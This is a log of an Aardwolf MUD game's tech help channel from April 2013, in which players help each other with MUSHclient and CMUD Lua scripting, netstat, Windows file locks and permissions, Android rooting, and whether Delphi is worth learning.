T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: sabertooth: yes
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vorpes: yes, are you?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: same way as turning it off
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it will be based of my honestly. but if i root my samsund galaxy tab 2 and the peel app doesn't work will you give me 2 to
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: tp
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i meen other apps
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't trust your honesty, sorry
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: cause i will give you 2 tp if it doesnt work. and by work i mean straight away after the rooting
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: look, I don't need your tp and I don't need your bet. I've rooted android devices before. Have you?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: fair enought i guess. how about this i will give you 2 tp if it doesnt work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: to see what is using your data, you'd really have to watch netstat output...you can look for apps which keep an auto-updater program running in the background
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that is a lose win or a win win situation
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I already know it will work. How about you just give me 2 tp for passing that information along
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Redryn Tech: vorpes do you mean you will give him 2 tp if it does work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok in the spirit of that comment we have a deal
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Redryn Tech: because you're asking him to bet against his own position
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no if it does work i will keep my tp
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what is tcp?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what is tcp?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: sorry...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Trachx Tech: transfer control protocl
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: transmission control protocol, a reliable means of communicating via IP ;-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ranrr Tech: netstat -anp is a nice way to check which apps use which sockets
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: well all that netstat shows it aard and tcp....and aard never used this mutch data
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: [Deputy] Sabertooth buries his face in his hand and sighs, shaking his head.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: for netstat to be useful for this, you'd need to sample it periodically
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: programs that do updates only check for updates every now and then
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i found the culprit thanks
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Thunderax Tech: is there a way to copy stuff from the main window with color codes in mush?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to delete a file and it keeps telling me its in use, is there a way to see what has it open?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Bupy Tech: what operating system?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: win 7
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Bupy Tech: In my experience, an application that has crashed can still 'call' for a file to be open. Have you tried rebooting? That will kill the app (assuming it isn't a system or start up application) and will allow you to delete it.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Bupy Tech: where crash may include closing normally but not killing all it's parts.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i dont like restarting my computer, then i have connection issues because my cmos battery is dead and im to lazy to repalce it, though i do need to restart sometime soon, thanks
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Bupy Tech: there may be other ways... but i'm a mac and I shun the complexities that it takes to fix them. If a sledge hammer works i'll use it (-8
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: always first try reboot before deleting...if that doesn't work, some guys who were involved in the really-low-level stuff at Microsoft created "sysinternals"...a collection of sweet utilities (www.sysinternals.com, it actually redirects to microsoft's technet)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: their "handle" utility will list all files which have process locks, andtheir "movefile" will let you mark an otherwise-undeletable file as "delete on reboot"
T3/r7/2013-04-14.txt.gz:{chan ch=tech}RoqueWarrior Tech: so reboot everything to close a program thats making shit that sounds like a wicked way around
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: reboot does a lot more to help than closing a program...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: http://www.youtube.com/watch?v=nn2FB1P_Mn8
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Mye Tech: make sure you have permissions, too.. i had a file i couldn't delete even after reboots and as admin because the installer added deny privileges to it
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have a cmd shortcut batched to operate as windows root user because of crap like that... locked file? Lock this... BALETED
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Grissom Tech: for what is Delphi 10 primarily suited
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Is there a simple command I can alias in MUSHclient to toggle a trigger on/off?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: you'd make the alias use the EnableTrigger() function
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: That's what I figured, I think I tried it before and was just messing up the syntax somehow. Just want to be able to disable invis ring rewearing when I'm CRing and stuff ;)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: heh, I just use an "invis" alias which I remap
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Oh, I have that too, I just have a thing that hits that alias if I sacrifice a corpse.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: mine's on kill message, cuz skin is one of its possible actions ;-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: should be able to do something along the lines of an alias of "noinvis", with action of EnableTrigger("sac_corpse", false), send to script
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: then a similar doinvis which uses true instead of false
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Fiddling with it now.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: or could get fancy and make just "noinvis" be a toggle...use GetTriggerInfo() to see if it's enabled and change that ;-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: GetTriggerInfo("sac_corpse",8) will be "true" or "false", so you can do an if compare on that (and of course these rely on you putting a 'label' onto your trigs
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: for bigger stuff, instead of just a label you can use trigger groups like the classes in zmud
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Nod, this is about as far as I got last time, and it's not toggling for some weird reason. Trigger is labelled revis, alias to turn it off is EnableTrigger("revis", FALSE), going to script, and it's apparently not doing anything.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: try lowercase false
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Oh, THERE we go.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: You grin evilly.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: That's kinda silly, given the examples on Gammon's page use uppercase ;)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: you looking at the VBSCRIPT example, or Lua examples?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: in the in-client helps, only vbscript has true/false in caps
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Probably the wrong one, yeah. ;)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Yeah, the VBscript one. OK, that makes a ton more sense. Thanks Abe :)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Zirikki Tech: how do i make a custom exit o u;u? it keeps registering as two diff commands
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you need to double the ; like ;;
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just like it says in 'mapper help exits'
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Lorwrath Tech: so just that everyone knows i have a droid phone and i have a aardwolf app that i can play this game with...you can play anywhere
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in cmud i can do #if (@var) {#echo there is a var!} {#echo there is not a var}, in lua i tried if zs.var.var then print("look there is a var") end ... and while the first one works the second does not, any ideas?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: did you have an else in there somewhere?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no im not using an else in the lua version
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Then what do you expect it to do if it doesn't match?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Leinei Tech: what do you mean by first one and second one?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the first == example in zscript the second == lua
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: in cmud, that third {} is an implicit "else {}"
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: It's never going to print there is not a var because you don't have an else.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: if (expression is true) do {this} else do {this}
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: what you did in lua was if (expression is true) do {this} else {NULL}
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: so it was doing NULL
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i only care if there is a true i dont care if there is an else
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: you also need "then" in lua
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: He has "then" in it.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: maych the zs.var.var to something
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: match*
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: if zs.var.var = nil then print("Hi") end
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Ugh.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: if zs.var.var ~= nil then print("Hi") end
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Or actually...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: if zs.var.var ~= nil or zs.var.var ~= "" then print("Hi") end
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: that made everything match, maybe ill make the cmud var load into lua then check if its nil or not
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: if this is all within cmud, you may need to do something to bring the variable into lua's scope
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: The zs.var.var brings it into Lua's scope.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: OK, wasn't sure if that was a table entry reference or what
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: like in MUSH, you'd do if (GetVariable("foovar") == nil) then Note("foovar doesn't exist") else Note("foovar exists") end
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im going to restart my computer see if that does anything my lua command line is not working either
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Restarting your computer won't fix bad code.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: doing var={} and it not doing nothing is not bad code :P
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: but you can't test bad code when your interface to the code doesn't work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: It won't do anything, Hadar.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: var={} just creates a var table that is empty.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you attempt to type: print(var)?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it is still printing out nil insted of nothing
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: it should...there's no undefine for variables in lua, you set them empty
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Leinei Tech: lua variables are all tables.  an empty table is the same as an empty variable
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: In CMUD, when you create a table, print(tablename) will actually print the table instead of the table: FA032FB bit.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: In this case, doing: var={}, then print(var) would return: []
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: local name zs.param(1).."_DB", local file zs.var.name, print(file) the print shows nil, does it not expand name while putting it into the var? it should work right?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Where is "zs.var.name" coming from?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: http://pastebin.com/P0ftZtsa
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, if you're thinking the local dbname is referenced under zs.var.dbname, that's where your problem is coming from.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: zs.var.dbname looks for a CMUD variable called dbname, not a Lua variable called 'dbname'. When you create local dbname, you're creating a Lua variable.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Though really, you could just do: local file = zs.param(1).."_DB"
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: No need to make 20 variables to get to one result.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i only set it up like that because in my scripts i always have $name=%1 and $dbname=%concat(%1,"_DB")
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: That was excessive, too.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless you were using just the $name for something and $dbname for something else.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i normally do
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i normally match $name in a %ismember and use it for other stuff
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thats why i build a name and a dbname variable, for each clanmember i have a <name>_DB and i store everything in the <name>_DB as my table, so i was trying to set this up the same way (im always told i need to stop thinking in zscript when coding lua)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. You're better off creating a table within the table. ;)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I do that for my clan ranks.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: xuntitables{Etzli={level=142,rank="Tepiani"...},Player={level=1,rank="Can't spell it"...}...}
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Hanslanda Tech: tables within tables in lua is the same as nested datarecord variables...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Then I can just do: xuntitables["Etzli"] to find out the information.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im not that good with doing that yet, so i tend to avoid it
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, Hanslanda, but in Lua, it's a bit more efficient, in my opinion, and much more readable.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Not that hard at all, Hadar.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I have very few variables now because everything is pretty much in Lua. :p
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, very few variables compared to what I had before...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the "biggest" script i have done is my level report script which i dont need to do tricks like that
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at HelperMan Hadar.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Hanslanda Tech: should have very few to begin with anyways.  Local variables are always going to be faster than stored ones.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: My biggest script is my exp tracker script. Reports for year/lastyear, month/lastmonth, week/lastweek, today/yesterday, hour/lasthour, tier/lasttier, mort/lastmort, and level/lastlevel.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im working on re-coding the whole way i track clan info, hence trying to do it the way i was, but ill look into nesting databases
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Except, Hanslanda, when you store a lot of information.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Hanslanda Tech: if you store a lot of info, use an actual SQL database.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Truth is, I can still cut out a number of variables. I've just been lazy lately.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Mye Tech: "a lot" is relative.. a few hundred thousand rows is fairly small in terms of dbs
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was actually looking at that at one point, to use the table system you use there to hold my clan info but i thought it would be meh
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure, I could use a SQL database. But why when I am more comfortable with Lua and saving tables?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i tried using a SQL database at one point, it was slower then my variables
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Hanslanda Tech: shrug, SQL is way faster than lua.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at HelperMan Hadar.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: If you say so. I disagree, though.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i think it depends on the system
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: And if SQL IS faster than Lua, the difference is so negligble, it's nanoseconds. :p
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i dont think i ever made the lua for my level report public, ment to but forgot
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I made mine public. *shrug*
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: oh i remember i was trying to get it working with mush to have both a mush/cmud release but i could never get it working with mush
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at HelperMan Hadar.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Mine can easily be ported over to MUSH, too, with minor changes.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the main body is pure lua, i just wanted the triggers working
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: {This Year} Levels: 513 Pups: 1 Exp: 3,467,752 (1,461,992 bonus) Kills: 14,800 Gold: 62,099,517 Trains: 2070 (772 bonus) Pracs: 5659 Quests: 593 Campaigns: 46 (17388 qps) Trivia: 48 Bonus Stats: S{20} I{34} W{31} D{23} C{30} L{20}
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Just a sample. ;)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is startled and yells, "Eep!"
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks at [Outlaw] Remarto's saying.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i stopped exp tracking, just my level report (which im thinking about making it save a remorts worth of levels)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: Level(99) Took:[H:0 M:6 S:28] HP(40)Mn(30)Mv(28)Pr(14)Tr(3+4)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: {Last Level} Time: 07:18 Exp: 7,836 (3,986 bonus) Kills: 27 Gold: 82,649 Trains: 5 (1 bonus) Pracs: 12 Bonus Stats: L{1}
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Anyway, gotta go start up the lawn mower and mow my share of the 2 acres. Later for now.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto gallantly tips his hat to Book of Etzli.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Aurelia Tech: I'm using cmud - is there a way to change the font in the non-main windows? I can find it for the main one but not the others
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: on the left side of your pref on the top there is a box, you can change which window you are working on in there
T3/r7/2013-04-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or in settings click on the window, and click on prefrences on the bottom right
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Hanslanda Tech: In the Preferences window, there's menu options to bold global settings.  If you turn that on, you can easily see which ones are specific to the selected window and which are applied to everything.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Aurelia Tech: Thank you!
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: When I tried to save world in mush, it said access was denied. How can I fix this?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't put mushclient in a place where you can't write files
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: it's not.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: obviously it is
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: tell me where your mushclient folder is
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: program files
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Nuanse Tech: probably windows7 and program folder
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: read up http://en.wikipedia.org/wiki/User_Account_Control
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: oh yeah, thanks
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in the meantime, move your mushclient folder somewhere else
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: are the mush registry entries necessary for mush to run?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Nuanse Tech: nah, just copy the folder to somewhere else. 
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: what is the worst that can happen if I remove them? Just have to reinstall mush?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nothing
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aurelia Tech: thanks
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Are you sure it even has any?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I wonder if anyone has made some sort of terminal app for a rooted Kindle...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Elxi Tech: Not just that but you can get Cyanogenmod for Kindel Fire
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Elxi Tech: But CM comes with a terminal app by default. It's quite nice too, has bash, tabs, etc.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Elxi Tech: More like CM has bash and ssh included, but obv that's terminal related.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, not talking Fire - figured the tablet version would have something :-P Talking mudding on e-ink
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Elxi Tech: Oh
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hidden question being 'do I want to drop an extra $60 to get 3g' :-P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: i have some unoccupied window space in my client any useful plugins to fill that space
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Elxi Tech: Hard to say without knowing what you already have. I use a minimap, stats, cp/gq/quest mob, room characters, chat window, and group status.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: tell me about the cp/gq/quest mob one
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It does depend a lot on which client you use, of course
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: mush
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use a combination of Aardmush plugins, Bast, and homebrew
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And I would kill for some more real estate :-P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: my client was set up perfectly when i still had my CRT but now with my LCD it is all mixed up again and i cant resize my mapper because the resize thing is off screen
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: click and drag it onto the screen then resize?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: i vant the resize button is like unaccessible
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: cant*
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: the whole title bar lets me drag the windows around *ponder*
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Are you using mush?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ayasinda Tech: not the resize button. Drag the whole window to a place wheren you can reach the resize button
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Each of my mini windows can be dragged in mush by clicking and holding down my mouse in the title area, then dragging them to the new location. If you're using mush that should let you reposition them in such a way that you can then reach the resize corner
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: yes mush and i drag the title bar as far as possible but it was sized in a larger resolution than my screen can support
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: So click on the right edge of the mini window and drag it off the screen to the left so that you can reach it?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ayasinda Tech: if you can't move or reach any of the corners just type 'resertaard'. This will reset all the windows to their original size and position.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: cant i only reset the mapper?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ayasinda Tech: dunno. Look at fiendish's site
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: I admit to being a bit confused. I've gone from 26 inch to 7 insch screen before and never had any problems resizing windows.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Thunderax Tech: has anyone set up triggers to email stuff using mushclient and smtp?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger raises his hand.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: for what is Delphi 10 primarily suited?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: delphi Oo thats still used other than for teaching?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is quite niche and legacied afaik
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: legacy'ed?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: our school is arranging a free license for Delphi 10 for the kids who want
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: it*
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its not to bad
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zade Tech: Zmud was written in Delphi -- if that is a recommendation
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That seems like more a way to dissuage vs encourage, Zade :P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: dissuade*
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: well it is a free program and i wont try and write like a major app just to learn and to practice for the exams
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: that's what it's primarily suited for ;-)
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice, in complete agreement.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: it must be worth some thing our teacher has a degree in Delphi
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Heh, it /used/ to be worth something, it's fairly dead now.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: pascal isn't really used in the real world...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: how do you get a degree in a single language?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, you can get an English degree :P That's one language ;) </SmartAssComment>
